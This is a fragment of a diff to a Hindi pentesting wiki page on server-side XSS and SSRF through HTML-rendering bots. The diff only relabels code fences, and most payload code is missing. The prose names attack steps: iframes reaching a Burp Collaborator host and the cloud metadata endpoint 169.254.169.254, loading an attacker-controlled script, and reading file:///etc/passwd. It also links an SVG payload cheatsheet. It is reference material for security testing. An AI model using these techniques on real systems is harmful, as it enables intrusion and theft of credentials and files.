सकता है। एक iframe जो Burpcollab उपडोमेन को एक्सेस करता है और दूसरा जो मेटाडेटा एंडपॉइंट को एक्सेस करता है, उदाहरण के रूप में दिए गए हैं। -```markup +```html @@ -63,7 +63,7 @@ alert(1); आप बहुत सारे **अन्य SVG पेलोड** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) में पा सकते हैं। ### पथ प्रकटीकरण -```markup +```html @@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing --> ### Load an external script इस कमजोरियों का लाभ उठाने का सबसे अच्छा तरीका यह है कि आप इस कमजोरियों का दुरुपयोग करें ताकि बॉट एक स्क्रिप्ट लोड करे जिसे आप स्थानीय रूप से नियंत्रित करते हैं। फिर, आप स्थानीय रूप से पेलोड को बदलने में सक्षम होंगे और बॉट को हर बार उसी कोड के साथ लोड करने के लिए मजबूर कर सकेंगे। -```markup +```html ')"/> ``` @@ -82,7 +82,7 @@ if not, you will at least have wich path the bot is accessing --> > `file:///etc/passwd` को उदाहरण के लिए `http://169.254.169.254/latest/user-data` में बदलें ताकि **एक बाहरी वेब पृष्ठ (SSRF)** तक पहुँचने की कोशिश की जा सके। > > यदि SSRF की अनुमति है, लेकिन आप **किसी दिलचस्प डोमेन या IP तक नहीं पहुँच सकते**, [संभावित बायपास के लिए इस पृष्ठ की जाँच करें](../ssrf-server-side-request-forgery/url-format-bypass.md). -```markup +```html ``` -```markup +```html ``` -```markup +```html @@ -112,11 +112,11 @@ xhzeem.send(); ``` -```markup +```html ``` ### बॉट देरी -```markup +```html